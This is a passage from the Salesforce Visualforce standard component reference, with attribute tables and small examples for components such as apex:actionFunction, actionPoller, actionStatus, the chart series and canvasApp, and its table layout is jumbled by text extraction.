The action method invoked when the actionFunction is called by a DOM event elsewhere in the page markup. Use merge-field syntax to reference the method. For example, action="{!save}" references the save method in the controller.
If an action is not specified, the page simply refreshes.
Required?
API
Version
Access
12.0
global focus id
String
String
The ID of the component that is in focus after the AJAX request completes.
An identifier that allows the actionFunction component to be referenced by other components in the page.
12.0
12.0
global global
350 apex:actionFunction
Standard Component Reference apex:actionFunction
Attribute Name Attribute Type
immediate name namespace onbeforedomupdate oncomplete rendered reRender status timeout
Boolean
String
String
String
String
Boolean
Object
String
Integer
Description
A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false.
Required?
API
Version
Access
12.0
global
12.0
global The name of the JavaScript function that, when invoked elsewhere in the page markup, causes the method specified by the action attribute to execute. When the action method completes, the components specified by the reRender attribute are refreshed.
Yes
The namespace to use for the generated JavaScript function.
The namespace
attribute must be a simple string, beginning with a letter, and consisting of only letters, numbers, or the underscore ("_") character. For example,
"MyOrg" and "Your_App_Name_v2" are supported as namespaces. If not set, no namespace is added to the
JavaScript functions generated by
<apex:actionFunction >
, preserving existing behavior.
The JavaScript invoked when the onbeforedomupdate event occurs--that is, when the AJAX request has been processed, but before the browser's DOM is updated.
12.0
12.0
global global
12.0
global The JavaScript invoked when the result of an AJAX update request completes on the client.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component.
The amount of time (in milliseconds) before an AJAX update request should time out.
12.0
12.0
12.0
12.0
global global global global
351
Standard Component Reference apex:actionPoller
apex:actionPoller
A timer that sends an AJAX request to the server according to a time interval that you specify. Each request can result in a full or partial page update.
An
<apex:actionPoller >
must be within the region it acts upon. For example, to use an
<apex:actionPoller >
with an
<apex:actionRegion >
, the
<apex:actionPoller >
must be within the
<apex:actionRegion >
.
Considerations When Using
<apex:actionPoller >
•
Action methods used by
<apex:actionPoller >
should be lightweight. It's a best practice to avoid performing DML, external service calls, and other resource-intensive operations in action methods called by an
<apex:actionPoller >
. Consider carefully the effect of your action method being called repeatedly by an
<apex:actionPoller >
at the interval you specify, especially if it's used on a page that will be widely distributed, or left open for long periods.
•
<apex:actionPoller >
refreshes the connection regularly, keeping login sessions alive. A page with
<apex:actionPoller >
on it won't time out due to inactivity.
•
If an
<apex:actionPoller >
is ever re-rendered as the result of another action, it resets itself.
•
Avoid using this component with enhanced lists.
Example
<!-Page -->
<apex:page controller= "exampleCon" >
<apex:form >
<apex:outputText value= "Watch this counter: {!count}" id= "counter" />
<apex:actionPoller action= "{!incrementCounter}" reRender= "counter" interval= "15" />
</apex:form >
</apex:page >
/*** Controller: ***/ public class exampleCon {
Integer count = 0; public PageReference incrementCounter() { count++; return null ;
} public Integer getCount() { return count;
}
}
352
Standard Component Reference apex:actionRegion
Attributes
Attribute Name
action enabled id
Attribute Type Description
ApexPages.Action
The action method invoked by the periodic AJAX update request from the component. Use merge-field syntax to reference the method. For example, action="{!incrementCounter}" references the incrementCounter() method in the controller. If an action is not specified, the page simply refreshes.
Boolean
String
A Boolean value that specifies whether the poller is active. If not specified, this value defaults to true.
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
10.0
global
10.0
10.0
global global interval
Integer 10.0
global oncomplete onsubmit rendered
String
String
Boolean
The time interval between AJAX update requests, in seconds.
This value must be 5 seconds or greater, and if not specified, defaults to 60 seconds. Note that the interval is only the amount of time between update requests. Once an update request is sent to the server, it enters a queue and can take additional time to process and display on the client.
The JavaScript invoked when the result of an AJAX update request completes on the client.
The JavaScript invoked before an AJAX update request has been sent to the server.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
10.0
10.0
10.0
global global global reRender
Object The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
10.0
global status timeout
String
Integer
The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component.
The amount of time (in milliseconds) before an AJAX update request should time out.
10.0
10.0
global global
apex:actionRegion
An area of a Visualforce page that demarcates which components should be processed by the Force.com server when an AJAX request is generated. Only the components in the body of the
<apex:actionRegion >
are processed by the server, thereby increasing the performance of the page.
353
Standard Component Reference apex:actionRegion
Note that an
<apex:actionRegion >
component only defines which components the server processes during a request—it does not define what area(s) of the page are re-rendered when the request completes. To control that behavior, use the rerender
attribute on an
<apex:actionSupport >
,
<apex:actionPoller >
,
<apex:commandButton >
,
<apex:commandLink >
,
<apex:tab >
, or
<apex:tabPanel >
component.
See also: Using the transient
keyword
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid opportunity record in the URL.
For example, if 001D000000IRt53 is the opportunity ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController= "Opportunity" >
<apex:form >
<apex:pageBlock title= "Edit Opportunity" id= "thePageBlock" mode= "edit" >
<apex:pageBlockButtons >
<apex:commandButton value= "Save" action= "{!save}" />
<apex:commandButton value= "Cancel" action= "{!cancel}" />
</apex:pageBlockButtons >
<apex:pageBlockSection columns= "1" >
<apex:inputField value= "{!opportunity.name}" />
<apex:pageBlockSectionItem >
<apex:outputLabel value= "{!$ObjectType.opportunity.fields.stageName.label}" for= "stage" />
<!--
Without the actionregion, selecting a stage from the picklist would cause a validation error if you hadn't already entered data in the required name and close date fields.
It would also update the timestamp.
-->
<apex:actionRegion >
<apex:inputField value= "{!opportunity.stageName}" id= "stage" >
<apex:actionSupport event= "onchange" rerender= "thePageBlock" status= "status" />
</apex:inputField >
</apex:actionRegion >
</apex:pageBlockSectionItem >
<apex:inputfield value= "{!opportunity.closedate}" />
{!text(now())}
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
354
Standard Component Reference apex:actionStatus
Attributes
Attribute Name Attribute Type
id immediate rendered renderRegionOnly
String
Boolean
Boolean
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
10.0
global
11.0
10.0
global global
A Boolean value that specifies whether AJAX-invoked behavior outside of the actionRegion should be disabled when the actionRegion is processed. If set to true, no component outside the actionRegion is included in the AJAX response. If set to false, all components in the page are included in the response. If not specified, this value defaults to true.
10.0
global
apex:actionStatus
A component that displays the status of an AJAX update request. An AJAX request can either be in progress or complete.
Example
<!-Page: -->
<apex:page controller= "exampleCon" >
<apex:form >
<apex:outputText value= "Watch this counter: {!count}" id= "counter" />
<apex:actionStatus startText= " (incrementing...)" stopText= " (done)" id= "counterStatus" />
<apex:actionPoller action= "{!incrementCounter}" rerender= "counter" status= "counterStatus" interval= "15" />
</apex:form >
</apex:page >
/*** Controller: ***/ public class exampleCon {
Integer count = 0; public PageReference incrementCounter() {
355
Standard Component Reference apex:actionStatus
} count++; return null ;
} public Integer getCount() { return count;
}
Attributes
Attribute Name Attribute Type
dir for id lang layout onclick ondblclick onkeydown onkeypress onkeyup onmousedown onmousemove
String
String
String
String
String
String
String
String
String
String
String
String
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
Required?
API
Version
Access
10.0
global
10.0
global The ID of an actionRegion component for which the status indicator is displaying status.
An identifier that allows the actionStatus component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
10.0
10.0
global global
The manner with which the actionStatus component should be displayed on the page. Possible values include "block", which embeds the component in a div HTML element, or
"inline", which embeds the component in a span HTML element. If not specified, this value defaults to "inline".
10.0
global
10.0
global The JavaScript invoked if the onclick event occurs--that is, if the component is clicked.
The JavaScript invoked if the ondblclick event occurs--that is, if the component is clicked twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
10.0
10.0
10.0
global global global
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
10.0
10.0
10.0
global global global
356
Standard Component Reference apex:actionStatus
Attribute Name Attribute Type
onmouseout onmouseover onmouseup onstart onstop rendered startStyle startStyleClass startText stopStyle stopStyleClass stopText style styleClass title
String
String
String
String
String
Boolean
String
String
String
String
String
String
String
String
String
Description
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the component.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the component.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
The JavaScript invoked at the start of the AJAX request.
The JavaScript invoked upon completion of the AJAX request.
10.0
10.0
10.0
global global global
10.0
global A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The style used to display the status element at the start of an
AJAX request, used primarily for adding inline CSS styles.
The style class used to display the status element at the start of an AJAX request, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The status text displayed at the start of an AJAX request.
The style used to display the status element when an AJAX request completes, used primarily for adding inline CSS styles.
The style class used to display the status element when an
AJAX request completes, used primarily to designate which
CSS styles are applied when using an external CSS stylesheet.
10.0
10.0
10.0
10.0
10.0
global global global global global
The status text displayed when an AJAX request completes.
The style used to display the status element, regardless of the state of an AJAX request, used primarily for adding inline CSS styles.
The style class used to display the status element, regardless of the state of an AJAX request, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
10.0
10.0
10.0
10.0
global global global global
357
Standard Component Reference
Facets
Facet Name
start stop apex:actionSupport
Description API
Version
The components that display when an AJAX request begins. Use this facet as an alternative to the startText attribute. Note that the order in which a start facet appears in the body of an actionStatus component does not matter, because any facet with the attribute name="start" controls the appearance of the actionStatus component when the request begins.
10.0
The components that display when an AJAX request completes. Use this facet as an alternative to the stopText attribute. Note that the order in which a stop facet appears in the body of an actionStatus component does not matter, because any facet with the attribute name="stop" controls the appearance of the actionStatus component when the request completes.
10.0
apex:actionSupport
A component that adds AJAX support to another component, allowing the component to be refreshed asynchronously by the server when a particular event occurs, such as a button click or mouseover.
See also:
<apex:actionFunction >
.
Example
<!-Page: -->
<apex:page controller= "exampleCon" >
<apex:form >
<apex:outputpanel id= "counter" >
<apex:outputText value= "Click Me!: {!count}" />
<apex:actionSupport event= "onclick" action= "{!incrementCounter}" rerender= "counter" status= "counterStatus" />
</apex:outputpanel >
<apex:actionStatus id= "counterStatus" startText= " (incrementing...)" stopText= " (done)" />
</apex:form >
</apex:page >
/*** Controller: ***/ public class exampleCon {
Integer count = 0; public PageReference incrementCounter() { count++; return null ;
}
358
Standard Component Reference apex:actionSupport
} public Integer getCount() { return count;
}
Attributes
Attribute Name
action
Attribute Type Description
ApexPages.Action
The action method invoked by the AJAX request to the server.
Use merge-field syntax to reference the method. For example, action="{!incrementCounter}" references the incrementCounter() method in the controller. If an action is not specified, the page simply refreshes.
Required?
API
Version
Access
10.0
global disabled
Boolean A Boolean value that allows you to disable the component.
When set to "true", the action is not invoked when the event is fired.
16.0
disableDefault
Boolean A Boolean value that specifies whether the default browser processing should be skipped for the associated event. If set to true, this processing is skipped. If not specified, this value defaults to true.
10.0
global event
String 10.0
global focus id immediate onbeforedomupdate oncomplete
String
String
Boolean
String
String
The DOM event that generates the AJAX request. Possible values include "onblur", "onchange", "onclick", "ondblclick",
"onfocus", "onkeydown", "onkeypress", "onkeyup",
"onmousedown", "onmousemove", "onmouseout",
"onmouseover", "onmouseup", "onselect", and so on.
The ID of the component that is in focus after the AJAX request completes.
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false.
The JavaScript invoked when the onbeforedomupdate event occurs--that is, when the AJAX request has been processed, but before the browser's DOM is updated.
The JavaScript invoked when the result of an AJAX update request completes on the client.
10.0
10.0
11.0
11.0
10.0
global global global global global
359
Standard Component Reference apex:areaSeries
Attribute Name Attribute Type
onsubmit rendered reRender status timeout
String
Boolean
Object
String
Integer
Description
The JavaScript invoked before an AJAX update request has been sent to the server.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component.
The amount of time (in milliseconds) before an AJAX update request should time out.
Required?
API
Version
Access
10.0
global
10.0
10.0
10.0
10.0
global global global global
apex:areaSeries
A data series to be rendered as shaded areas in a Visualforce chart. It's similar to a line series with the fill attribute set to true, except that multiple Y values for each X will "stack" as levels upon each other.
At a minimum you must specify the fields in the data collection to use as X and Y values for each point along the line that defines the amount of area each point represents, as well as the X and Y axes to scale against. Add multiple Y values to add levels to the chart. Each level takes a new color.
Note: This component must be enclosed within an
<apex:chart >
component. You can have multiple
<apex:areaSeries > components in a single chart, and you can add
<apex:barSeries >
,
<apex:lineSeries >
, and
<apex:scatterSeries > components, but the results might not be very readable.
An area chart with three Y values to plot as levels on the chart.
<apex:chart height= "400" width= "700" animate= "true" legend= "true" data= "{!data}" >
<apex:legend position= "left" />
<apex:axis type= "Numeric" position= "left" fields= "data1,data2,data3" title= "Closed Won" grid= "true" >
<apex:chartLabel/ >
</apex:axis >
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" >
<apex:chartLabel rotate= "315" />
</apex:axis >
<apex:areaSeries axis= "left" xField= "name" yField= "data1,data2,data3" tips= "true" />
</apex:chart >
360
Standard Component Reference apex:areaSeries
Attributes
Attribute Name Attribute Type
axis
String
Description
Which axis this chart series should bind to. Must be one of the four edges of the chart:
•
left
•
right
•
top
•
bottom
The axis bound to must be defined by a sibling
<apex:axis >
component.
Required?
API
Version
Access
Yes 26.0
colorSet highlight highlightLineWidth highlightOpacity highlightStrokeColor id opacity rendered rendererFn showInLegend tips
String
Boolean
Integer
String
String
String
String
Boolean
String
Boolean
Boolean
A set of color values used, in order, as level area fill colors.
Colors are specified as HTML-style (hexadecimal) colors, and should be comma separated. For example,
#00F,#0F0,#F00
.
A Boolean value that specifies whether each level should be highlighted when the mouse pointer passes over it. If not specified, this value defaults to true.
An integer that specifies the width in pixels of the line that surrounds a level when it's highlighted.
A decimal number between 0 and 1 representing the opacity of the color overlayed on a level when it's highlighted.
A string that specifies the HTML-style color of the line that surrounds a level when it's highlighted.
An identifier that allows the chart component to be referenced by other components on the page.
A decimal number between 0 and 1 representing the opacity of the filled area for this level of the series.
A Boolean value that specifies whether the chart series is rendered in the chart. If not specified, this value defaults to true.
A string that specifies the name of a JavaScript function that augments or overrides how each data point is rendered.
Implement to provide additional styling or to augment data.
A Boolean value that specifies whether this chart series should be added to the chart legend. If not specified, this value defaults to true.
A Boolean value that specifies whether to display a tooltip for each data point marker when the mouse pointer passes over
26.0
23.0
26.0
26.0
26.0
26.0
26.0
26.0
26.0
26.0
26.0
global
361
Standard Component Reference apex:attribute
Attribute Name Attribute Type
title xField yField
String
String
String
Description Required?
API
Version
Access
it. The format of the tip is xField: yField
. If not specified, this value defaults to true.
The title of this chart series, which is displayed in the chart legend.
For stacked charts with multiple data series in the yField
, separate each series title with a comma. For example: title= "MacDonald,Picard,Worle"
.
The field in each record provided in the chart data from which to retrieve the x-axis value for each data point in the series.
This field must exist in every record in the chart data.
Yes
The field in each record provided in the chart data from which to retrieve the y-axis value for each data point in the series.
This field must exist in every record in the chart data.
Yes
26.0
26.0
26.0
apex:attribute
A definition of an attribute on a custom component. The attribute tag can only be a child of a component tag.
Note that you cannot define attributes with names like id or rendered. These attributes are automatically created for all custom component definitions.
Example
<!-- Page: -->
<apex:page >
<c:myComponent myValue= "My component's value" borderColor= "red" />
</apex:page >
<!-- Component:myComponent -->
<apex:component >
<apex:attribute name= "myValue" description= "This is the value for the component." type= "String" required= "true" />
<apex:attribute name= "borderColor" description= "This is color for the border." type= "String" required= "true" />
<h1 style= "border:{!borderColor}" >
<apex:outputText value= "{!myValue}" />
</h1 >
</apex:component >
362
Standard Component Reference apex:attribute
Attributes
Attribute Name Attribute Type
access assignTo default description encode id name required type
String
Object
String
String
Boolean
String
String
Boolean
String
Description
Indicates whether the attribute can be used outside of any page in the same namespace as the attribute. Possible values are "public" (default) and "global". Use global to indicate the attribute can be used outside of the attribute's namespace.
If the access attribute on the parent apex:component is set to global, it must also be set to global on this component. If the access attribute on the parent apex:component is set to public, it cannot be set to global on this component. NOTE:
Attributes with this designation are subject to the deprecation policies as described for managed packages in the appexchange.
Required?
API
Version
Access
14.0
12.0
global A setter method that assigns the value of this attribute to a class variable in the associated custom component controller.
If this attribute is used, getter and setter methods, or a property with get and set values, must be defined.
The default value for the attribute.
A text description of the attribute. This description is included in the component reference as soon as the custom component is saved.
13.0
12.0
global global
15.0
This is a temporary option to address an issue affecting some package installations. It will be removed in the next release.
Do not use unless advised to do so by Salesforce.
An identifier that allows the attribute to be referenced by other tags in the custom component definition.
The name of the attribute as it is used in Visualforce markup when the associated custom component includes a value for the attribute. The name must be unique from all other attributes in the component definition. Note that you cannot define attributes named id, rendered, or action. These attributes are either automatically created for all custom component definitions, or otherwise not usable.
Yes
A Boolean value that specifies whether a value for the attribute must be provided when the associated custom component is included in a Visualforce page. If set to true, a value is required. If not specified, this value defaults to false.
The Apex data type of the attribute. If using the assignTo attribute to assign the value of this attribute to a controller class variable, the value for type must match the data type of
Yes
12.0
12.0
12.0
12.0
global global global global
363
Standard Component Reference apex:axis
Attribute Name Attribute Type Description
the class variable. Only the following data types are allowed as values for the type attribute:
•
Primitives, such as String, Integer, or Boolean.
•
sObjects, such as Account, My_Custom_Object__c, or the generic sObject type.
•
One-dimensional lists, specified using array-notation, such as String[], or Contact[].
•
Maps, specified using type="map". You don't need to specify the map's specific data type.
•
Custom Apex types (classes).
Required?
API
Version
Access apex:axis
Defines an axis for a chart. Use this to set the units, scale, labeling, and other visual options for the axis. You can define up to four axes for a single chart, one for each edge.
Note: This component must be enclosed within an
<apex:chart >
component.
Example
<!-- Page: -->
<apex:chart height= "400" width= "700" data= "{!data}" >
<apex:axis type= "Numeric" position= "left" fields= "data1" title= "Opportunities Closed" grid= "true" />
<apex:axis type= "Numeric" position= "right" fields= "data3" title= "Revenue (millions)" />
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" >
<apex:chartLabel rotate= "315" />
</apex:axis >
<apex:barSeries title= "Monthly Sales" orientation= "vertical" axis= "right" xField= "name" yField= "data3" />
<apex:lineSeries title= "Closed-Won" axis= "left" xField= "name" yField= "data1" />
</apex:chart >
Attributes
Attribute Name Attribute Type Description
dashSize
Integer The size of the dash marker, in pixels. If not specified, this value defaults to 3.
Required?
API
Version
Access
23.0
364
Standard Component Reference apex:axis
Attribute Name Attribute Type
fields grid gridFill id margin maximum minimum position
String
Boolean
Boolean
String
Integer
Integer
Integer
String
Description
The field(s) in each record of the chart data from which to retrieve axis label values. You can specify more than one field, to increase the range of the axis scale to include all values.
Fields must exist in every record in the chart data.
Required?
API
Version
Access
23.0
A Boolean value specifying whether to draw gridlines in the background of the chart. If true for a vertical axis, vertical lines are drawn, and likewise for horizontal axis. A proper grid can be drawn by setting grid to true on both a horizontal and a vertical axis of a chart. If not specified, this value defaults to false.
23.0
23.0
A Boolean value specifying whether to fill in alternating grid intervals with a background color. If not specified, this value defaults to false.
An identifier that enables the chart component to be referenced by other components on the page.
An integer value that specifies the distance between the outer edge of the chart and the baseline of the axis label text.
Negative values are permitted, and move the labels inside the chart edge. Valid only when the axis type (and chart) is
Gauge. If not specified, this value defaults to 10.
The maximum value for the axis. If not set, the maximum is calculated automatically from the values in fields.
The minimum value for the axis. If not set, the minimum is calculated automatically from the values in fields.
The edge of the chart to which to bind the axis. Valid options are:
Yes
•
left
•
right
•
top
•
bottom
•
gauge
•
radial
The first four positions correspond to the edges of a standard linear chart. "gauge" is specific to an axis used by
<apex:gaugeSeries >
, and "radial" is specific to an axis used by
<apex:radarSeries >
.
23.0
26.0
23.0
23.0
23.0
global rendered
Boolean A Boolean value that specifies whether the axis elements are rendered with the chart. If not specified, this value defaults to true.
23.0
365
Standard Component Reference apex:barSeries
Attribute Name Attribute Type
steps title type
Integer
String
String
Description
An integer value that specifies the number of tick marks to places on the axis. If set, it overrides the automatic calculation of tick marks for the axis. Valid only when the axis type is
Numeric.
Required?
API
Version
Access
26.0
23.0
23.0
The label for the axis.
Specifies the type of the axis, which is used to calculate axis intervals and spacing. Valid options are:
•
"Category" for non-numeric information, such as names or types of items, and so on.
•
"Numeric" for quantitative values.
•
"Gauge" is used only with, and required by,
<apex:gaugeSeries >
.
•
"Radial" is used only with, and required by,
<apex:radarSeries >
.
Yes
apex:barSeries
A data series to be rendered as bars in a Visualforce chart. At a minimum you must specify the fields in the data collection to use as X and Y values for each bar, as well as the X and Y axes to scale against. Add multiple Y values to add grouped or stacked bar segments to the chart. Each segment takes a new color.
Note: This component must be enclosed within an
<apex:chart >
component. You can have multiple
<apex:barSeries > and
<apex:lineSeries >
components in a single chart. You can also add
<apex:areaSeries >
and
<apex:scatterSeries >
components, but the results might not be very readable.
Example
<!-- Page: -->
<apex:chart height= "400" width= "700" data= "{!data}" >
<apex:axis type= "Numeric" position= "left" fields= "data1" title= "Opportunities Closed" grid= "true" />
<apex:axis type= "Numeric" position= "right" fields= "data3" title= "Revenue (millions)" />
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" />
<apex:barSeries title= "Monthly Sales" orientation= "vertical" axis= "right" xField= "name" yField= "data3" >
<apex:chartTips height= "20" width= "120" />
</apex:barSeries >
<apex:lineSeries title= "Closed-Won" axis= "left" xField= "name" yField= "data1" />
</apex:chart >
366
Standard Component Reference apex:barSeries
Attributes
Attribute Name Attribute Type
axis colorSet
String
String
Description
Which axis this chart series should bind to. Must be one of the four edges of the chart:
•
left
•
right
•
top
•
bottom
The axis bound to must be defined by a sibling
<apex:axis >
component.
A set of color values used, in order, as bar fill colors. Colors are specified as HTML-style (hexadecimal) colors, and should be comma separated. For example,
#00F,#0F0,#F00
.
Required?
API
Version
Access
Yes 23.0
26.0
colorsProgressWithinSeries
Boolean 26.0
A Boolean value that specifies how to progress through the values of the colorSet
attribute.
•
When set to true, the first color in the colorSet
is used for the first bar (or bar segment, when the
<apex:barSeries >
is stacked) in an
<apex:barSeries >
, the second color for the second bar, and so on. Colors restart at the beginning for each
<apex:barSeries >
.
•
When set to false, the default, the first color in the colorSet
is used for all bars in the first
<apex:barSeries >
, the second color is used for bars in the second
<apex:barSeries >
, and so on.
groupGutter
Integer gutter highlight highlightColor highlightLineWidth highlightOpacity
Integer
Boolean
String
Integer
String
An integer specifying the spacing between groups of bars, as a percentage of the bar width.
An integer specifying the spacing between individual bars, as a percentage of the bar width.
A Boolean value that specifies whether each bar should be highlighted when the mouse pointer passes over it. If not specified, this value defaults to true.
A string that specifies the HTML-style color overlayed on a bar when it's highlighted.
An integer that specifies the width in pixels of the line that surrounds a bar when it's highlighted.
A decimal number between 0 and 1 representing the opacity of the color overlayed on a bar when it's highlighted.
26.0
26.0
23.0
26.0
26.0
26.0
367
Standard Component Reference apex:barSeries
Attribute Name Attribute Type
highlightStroke id orientation
String
String
String
Description
A string that specifies the HTML-style color of the line that surrounds a bar when it's highlighted.
An identifier that allows the chart component to be referenced by other components on the page.
Required?
API
Version
Access
26.0
23.0
global
Yes 23.0
The direction of the bars in the chart. Valid options are:
•
horizontal
•
vertical rendered
Boolean 23.0
rendererFn showInLegend stacked tips title xField xPadding yField yPadding
String
Boolean
Boolean
Boolean
String
String
Integer
String
Integer
A Boolean value that specifies whether the chart series is rendered in the chart. If not specified, this value defaults to true.
A string that specifies the name of a JavaScript function that augments or overrides how each bar is rendered. Implement to provide additional styling or to augment data.
A Boolean value that specifies whether this chart series should be added to the chart legend. If not specified, this value defaults to true.
A Boolean value that specifies whether to group or stack bar values.
A Boolean value that specifies whether to display a tool tip for each bar when the mouse pointer passes over it. The format of the tip is <xField>: <yField>. If not specified, this value defaults to true.
The title of this chart series, which is displayed in the chart legend.
For stacked charts with multiple data series in the yField
, separate each series title with a comma. For example: title= "MacDonald,Picard,Worle"
.
The field in each record provided in the chart data from which to retrieve the x-axis value for each data point in the series.
This field must exist in every record in the chart data.
Yes
An integer specifying the padding in pixels between the left and right axes and the chart's bars.
The field in each record provided in the chart data from which to retrieve the y-axis value for each data point in the series.
This field must exist in every record in the chart data.
Yes
An integer specifying the padding in pixels between the top and bottom axes and the chart's bars.
26.0
23.0
26.0
23.0
23.0
23.0
26.0
23.0
26.0
368
Standard Component Reference apex:canvasApp
apex:canvasApp
Renders a canvas app identified by the given developerName/namespacePrefix
or applicationName/namespacePrefix
value pair. The developerName
attribute takes precedence if both developerName
and applicationName
are set.
Requirements:
•
Force.com Canvas should be enabled in the organization.
Keep the following considerations in mind when using the
<apex:canvasApp >
component:
•
A development organization is an organization in which a canvas app is developed and packaged.
•
An installation organization is an organization in which a packaged canvas app is installed.
•
The
<apex:canvasApp >
component usage in a Visualforce page isn't updated if a canvas app's application name or developer name is changed.
•
A canvas app can be deleted even if there's a Visualforce page referencing it via
<apex:canvasApp >
.
This example renders a canvas app by using only the developer name. If your organization doesn't have a namespace prefix, then the namespacePrefix attribute shouldn't be used.
Note: The canvas app is rendered within a div element, the div element id can be retrieved by {!$Component.genContainer}.
<apex:page showHeader= "false" >
<apex:canvasApp developerName= "canvasAppDeveloperName" />
</apex:page >
This example renders a canvas app by using only the application name.
<apex:page showHeader= "false" >
<apex:canvasApp applicationName= "canvasAppName" />
</apex:page >
This example renders a canvas app by using the developer name and namespace prefix from the organization in which the canvas app was created.
<apex:page showHeader= "false" >
<apex:canvasApp developerName= "canvasAppDeveloperName"
369
Standard Component Reference namespacePrefix= "fromDevOrgNamespacePrefix" />
</apex:page > apex:canvasApp
This example renders a canvas app by using the application name and namespace prefix from the organization in which the canvas app was created.
<apex:page showHeader= "false" >
<apex:canvasApp applicationName= "canvasAppName" namespacePrefix= "fromDevOrgNamespacePrefix" />
</apex:page >
This example renders a canvas app in a specific output panel.
<apex:page showHeader= "false" >
<apex:outputPanel layout= "block" id= "myContainer" >
<apex:canvasApp developerName= "canvasAppName" namespacePrefix= "fromDevOrgNamespacePrefix" containerId= "{!$Component.myContainer}" />
</apex:outputPanel >
</apex:page >
Attributes
Attribute Name Attribute Type
applicationName border canvasId containerId developerName
String
String
String
String
String
Description
Name of the canvas app. Either applicationName or developerName is required.
Width of the canvas app border, in pixels. If not specified, defaults to 0 px.
Unique ID of the canvas app window. Use this attribute when targeting events to the canvas app.
An HTML element ID in which the canvas app is rendered. If not specified, defaults to null. The container specified by this can't appear after the <apex:canvasApp> component.
Developer name of the canvas app. This name is defined when the canvas app is created and can be viewed in the Canvas
Required?
API
Version
Access
35.0
35.0
35.0
35.0
35.0
370
Standard Component Reference apex:canvasApp
Attribute Name Attribute Type
entityFields height id maxHeight maxWidth namespacePrefix onCanvasAppError onCanvasAppLoad parameters rendered scrolling
String
String
String
String
String
String
String
String
String
Boolean
String
Description
App Previewer. Either developerName or applicationName is required.
Specifies the fields returned in the signed request Entity object when the component appears on a Visualforce page placed on an object. If this attribute isn’t specified or is blank, then only Id and type information is provided. Valid attribute values include:
•
Comma-separated list of field names. For example, to return the Account Phone and Fax fields, the attribute would look like: entityFields="Phone,Fax"
•
Asterisk “*” to return all fields from the associated object.
Canvas app window height, in pixels. If not specified, defaults to 900 px.
An identifier that allows the component to be referenced by other components in the page.
The maximum height of the Canvas app window in pixels.
Defaults to 2000 px; 'infinite' is also a valid value
The maximum width of the Canvas app window in pixels.
Defaults to 1000 px; 'infinite' is also a valid value
Namespace value of the Developer Edition organization in which the canvas app was created. Optional if the canvas app wasn’t created in a Developer Edition organization. If not specified, defaults to null.
Name of the JavaScript function to be called if the canvas app fails to render.
Name of the JavaScript function to be called after the canvas app loads.
Object representation of parameters passed to the canvas app. This should be supplied in JSON format or as a JavaScript object literal. Here’s an example of parameters in a JavaScript object literal: {param1:'value1',param2:'value2'}. If not specified, defaults to null.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Specifies whether the canvas app window should use scroll bars. Valid values are auto|yes|no. If not specified or set to an invalid value, it will default to no.
Required?
API
Version
Access
35.0
35.0
14.0
35.0
35.0
35.0
35.0
35.0
35.0
14.0
35.0
global global
371
Standard Component Reference apex:chart
Attribute Name Attribute Type
width
String
Description
Canvas app window width, in pixels. If not specified, defaults to 800 px.
Required?
API
Version
Access
35.0
apex:chart
A Visualforce chart. Defines general characteristics of the chart, including size and data binding.
Example
<!-- Page: -->
<apex:chart data= "{!pieData}" >
<apex:pieSeries labelField= "name" dataField= "data1" />
</apex:chart >
Attributes
Attribute Name Attribute Type
animate background colorSet data floating height
Boolean
String
String
Object
Boolean
String
Description
A Boolean value that specifies whether to animate the chart when it is first rendered. If not specified, this value defaults to true.
Required?
API
Version
Access
23.0
26.0
A string that specifies the color to use for the background of the chart, as an HTML-style (hexadecimal) color. If not specified, charts use a plain white background.
A set of colors to be used by each child series. Colors are specified as HTML-style (hexadecimal) colors, and should be comma separated. For example,
#00F,#0F0,#F00
